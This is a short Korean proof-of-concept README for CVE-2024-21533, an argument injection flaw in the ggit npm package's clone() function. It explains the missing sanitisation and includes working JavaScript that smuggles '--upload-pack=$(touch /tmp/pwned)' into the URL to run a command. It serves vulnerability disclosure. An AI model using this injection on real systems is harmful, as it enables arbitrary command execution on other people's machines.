
CVE-2024-21533 PoC ggit
ggit은 스스로를 다음과 같이 설명합니다:
Local promise-returning git command wrappers
리소스:
이 인수 삽입 취약점에 대한 분석 기사: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
ggit npm 패키지에서 인수 삽입(Argument Injection) 취약점을 보고합니다.
이 취약점은 라이브러리의 clone() API에서 나타나며,
클론할 원격 URL과 클론할 디스크의 파일을 지정할 수 있습니다.
그러나 라이브러리는 사용자 입력을 삭제(샌니타이즈)하지 않거나 주어진 URL 스킴을 검증하지 않으며,
옵션의 끝을 알리기 위해 이중 대시 POSIX 문자(--)를 사용하여 git 바이너리에
명령줄 플래그를 제대로 전달하지도 않습니다.
따라서 --upload-pack 명령줄 옵션으로 인해 임의의 명령을 실행하게 되는
Git의 인수 삽입 취약점을 사용자가 악용할 수 있게 됩니다.
(outPath)로 클론할 경우 취약점이 적용됩니다.
[email protected] 또는 이전 버전을 설치합니다.const clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwned에 새 파일이 생성된 것을 확인합니다.이 프로젝트에 기여하기 위한 지침은 CONTRIBUTING을 참조하세요.
Liran Tal